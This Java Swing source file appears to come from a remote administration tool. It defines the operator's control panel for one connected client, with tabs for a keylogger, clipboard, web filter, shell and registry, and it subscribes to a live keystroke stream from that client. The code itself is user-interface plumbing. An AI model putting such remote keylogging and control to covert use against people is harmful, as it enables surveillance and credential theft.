/******************************************************************************
* *
* Copyright 2016 Subterranean Security *
* *
* Licensed under the Apache License, Version 2.0 (the "License"); *
* you may not use this file except in compliance with the License. *
* You may obtain a copy of the License at *
* *
* http://www.apache.org/licenses/LICENSE-2.0 *
* *
* Unless required by applicable law or agreed to in writing, software *
* distributed under the License is distributed on an "AS IS" BASIS, *
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *
* See the License for the specific language governing permissions and *
* limitations under the License. *
* *
*****************************************************************************/
package com.subterranean_security.crimson.viewer.ui.screen.controlpanels.client;
import java.awt.BorderLayout;
import java.awt.CardLayout;
import java.awt.Component;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import javax.swing.Box;
import javax.swing.ImageIcon;
import javax.swing.JFrame;
import javax.swing.JPanel;
import javax.swing.JSplitPane;
import javax.swing.JTree;
import javax.swing.border.BevelBorder;
import javax.swing.event.TreeSelectionEvent;
import javax.swing.event.TreeSelectionListener;
import javax.swing.tree.DefaultMutableTreeNode;
import javax.swing.tree.DefaultTreeCellRenderer;
import javax.swing.tree.DefaultTreeModel;
import com.subterranean_security.crimson.core.attribute.keys.AKeySimple;
import com.subterranean_security.crimson.core.platform.info.OS.OSFAMILY;
import com.subterranean_security.crimson.core.proto.Stream.SubscriberParam;
import com.subterranean_security.crimson.core.stream.StreamStore;
import com.subterranean_security.crimson.core.stream.subscriber.SubscriberMaster;
import com.subterranean_security.crimson.sv.profile.ClientProfile;
import com.subterranean_security.crimson.viewer.net.ViewerCommands;
import com.subterranean_security.crimson.viewer.ui.UICommon;
import com.subterranean_security.crimson.viewer.ui.UIStore;
import com.subterranean_security.crimson.viewer.ui.UIUtil;
import com.subterranean_security.crimson.viewer.ui.common.components.Console;
import com.subterranean_security.crimson.viewer.ui.common.components.Console.LineType;
import com.subterranean_security.crimson.viewer.ui.common.panels.sl.epanel.EPanel;
import com.subterranean_security.crimson.viewer.ui.screen.controlpanels.client.controls.ControlsTab;
import com.subterranean_security.crimson.viewer.ui.screen.controlpanels.client.keylogger.Keylogger;
import com.subterranean_security.crimson.viewer.ui.screen.controlpanels.client.logs.Logs;
/**
* This class technically should not implement CPPanel, but it is convenient
*
*/
public class ClientCPFrame extends JFrame implements CPPanel {
private static final long serialVersionUID = 1L;
public ClientProfile profile;
private JTree tree = new JTree();
private JPanel cards = new JPanel();
private EPanel ep = new EPanel(cards);
public Console console = new Console();
private SubscriberMaster keylogStream;
private HashMap<Panels, CPPanel> panels = new HashMap<Panels, CPPanel>();
private final JPanel panel_1 = new JPanel();
private final JSplitPane splitPane = new JSplitPane();
public ClientCPFrame(ClientProfile cp) {
profile = cp;
init();
console.addLine("Initialized control panel");
new Thread(new Runnable() {
public void run() {
ViewerCommands.trigger_key_update(profile.getCid(), cp.getKeylog().timestamp);
keylogStream = new SubscriberMaster(SubscriberParam.newBuilder().setKeylog(true).build(),
profile.getCid());
StreamStore.addStream(keylogStream);
}
}).start();
}
public void init() {
setTitle("Client Control Panel (" + profile.get(AKeySimple.NET_HOSTNAME) + ")");
setIconImages(UIUtil.getIconList());
setResizable(true);
setMinimumSize(UICommon.dim_control_panel);
getContentPane().setLayout(new BorderLayout(0, 0));
setDefaultCloseOperation(DISPOSE_ON_CLOSE);
splitPane.setOrientation(JSplitPane.VERTICAL_SPLIT);
splitPane.setDividerLocation(0.85d);
splitPane.setResizeWeight(0.85d);
getContentPane().add(splitPane, BorderLayout.CENTER);
splitPane.setTopComponent(panel_1);
panel_1.setLayout(new BorderLayout(0, 0));
panel_1.add(ep, BorderLayout.CENTER);
cards.setBorder(new BevelBorder(BevelBorder.LOWERED, null, null, null, null));
cards.setLayout(new CardLayout(0, 0));
JPanel panel = new JPanel();
panel_1.add(panel, BorderLayout.WEST);
panel.setLayout(new BorderLayout(0, 0));
panel.add(Box.createHorizontalStrut(50), BorderLayout.SOUTH);
tree.setBorder(new BevelBorder(BevelBorder.LOWERED, null, null, null, null));
tree.setModel(new DefaultTreeModel(new DefaultMutableTreeNode(profile.get(AKeySimple.NET_HOSTNAME)) {
private static final long serialVersionUID = 1L;
{
for (Panels p : getValidPanels()) {
this.add(new DefaultMutableTreeNode(p));
}
}
}));
tree.setCellRenderer(new DefaultTreeCellRenderer() {
private static final long serialVersionUID = 1L;
// TODO platform specific
private ImageIcon host = UIUtil.getIcon("icons16/general/viewer.png");
private ImageIcon controls = UIUtil.getIcon("icons16/general/cog.png");
private ImageIcon keylogger = UIUtil.getIcon("icons16/general/keyboard.png");
private ImageIcon logs = UIUtil.getIcon("icons16/general/error_log.png");
private ImageIcon clipboard = UIUtil.getIcon("icons16/general/paste_plain.png");
private ImageIcon webfilter = UIUtil.getIcon("icons16/general/www_page.png");
@Override
public Component getTreeCellRendererComponent(JTree tree, Object value, boolean selected, boolean expanded,
boolean isLeaf, int row, boolean focused) {
Object userObject = ((DefaultMutableTreeNode) value).getUserObject();
if (userObject instanceof Panels) {
Panels type = (Panels) userObject;
super.getTreeCellRendererComponent(tree, type.toString(), selected, expanded, isLeaf, row, focused);
switch (type) {
case CONTROLS:
setIcon(controls);
break;
case KEYLOGGER:
setIcon(keylogger);
break;
case LOGS:
setIcon(logs);
break;
case CLIPBOARD:
setIcon(clipboard);
break;
case WEBFILTER:
setIcon(webfilter);
break;
default:
break;
}
} else {
super.getTreeCellRendererComponent(tree, userObject, selected, expanded, isLeaf, row, focused);
setIcon(host);
}
return this;
}
});
// select controls
tree.addSelectionInterval(1, 1);
tree.addTreeSelectionListener(new TreeListener());
panel.add(tree);
splitPane.setBottomComponent(console);
for (Panels p : getValidPanels()) {
switch (p) {
case CONTROLS:
ControlsTab tab = new ControlsTab(ep, profile, console);
cards.add(p.toString(), tab);
panels.put(p, tab);
break;
case KEYLOGGER:
Keylogger tab2 = new Keylogger(profile, console);
cards.add(p.toString(), tab2);
panels.put(p, tab2);
break;
case LOGS:
Logs tab3 = new Logs(profile, console);
cards.add(p.toString(), tab3);
panels.put(p, tab3);
break;
default:
break;
}
}
}
@Override
public void clientOffline() {
setTitle("Control Panel: " + profile.get(AKeySimple.NET_HOSTNAME) + " (client offline)");
console.addLine("The client has disconnected!", LineType.ORANGE);
for (CPPanel panel : panels.values()) {
panel.clientOffline();
}
}
@Override
public void serverOffline() {
setTitle("Control Panel: " + profile.get(AKeySimple.NET_HOSTNAME) + " (server offline)");
for (CPPanel panel : panels.values()) {
panel.serverOffline();
}
}
@Override
public void clientOnline() {
setTitle("Control Panel: " + profile.get(AKeySimple.NET_HOSTNAME));
console.addLine("The client has reconnected!", LineType.GREEN);
for (CPPanel panel : panels.values()) {
panel.clientOnline();
}
}
@Override
public void serverOnline() {
for (CPPanel panel : panels.values()) {
panel.serverOnline();
}
}
class TreeListener implements TreeSelectionListener {
@Override
public void valueChanged(TreeSelectionEvent e) {
DefaultMutableTreeNode node = (DefaultMutableTreeNode) tree.getLastSelectedPathComponent();
if (node == null || node.getUserObject() instanceof String) {
return;
}
for (Panels panel : panels.keySet()) {
if (panel == (Panels) node.getUserObject()) {
panels.get(panel).tabOpened();
} else {
panels.get(panel).tabClosed();
}
}
((CardLayout) cards.getLayout()).show(cards, node.getUserObject().toString());
}
}
public enum Panels {
// Multiplatform
CONTROLS, KEYLOGGER, CLIPBOARD, WEBFILTER, DESKTOP, SHELL, LOGS, LOCATION,
// Windows specific
REGISTRY;
@Override
public String toString() {
switch (this) {
case CONTROLS:
return "Controls";
case KEYLOGGER:
return "Keylogger";
case CLIPBOARD:
return "Clipboard";
case WEBFILTER:
return "Web Filter";
case LOGS:
return "Log Files";
default:
return null;
}
}
public boolean isValid(OSFAMILY os) {
switch (this) {
case REGISTRY:
return os == OSFAMILY.WIN;
default:
return true;
}
}
}
public ArrayList<Panels> getValidPanels() {
ArrayList<Panels> p = new ArrayList<Panels>();
for (Panels panel : Panels.values()) {
if (panel.isValid(profile.getOSFamily())) {
p.add(panel);
}
}
return p;
}
@Override
public void dispose() {
super.dispose();
new Thread(new Runnable() {
public void run() {
StreamStore.removeStreamBySID(keylogStream.getStreamID());
// remove from UIStore
Iterator<ClientCPFrame> it = UIStore.clientControlPanels.iterator();
while (it.hasNext()) {
ClientCPFrame cf = it.next();
if (profile.getCid() == cf.profile.getCid()) {
it.remove();
break;
}
}
}
}).start();
}
@Override
public void tabOpened() {
// ignore
}
@Override
public void tabClosed() {
// ignore
}
}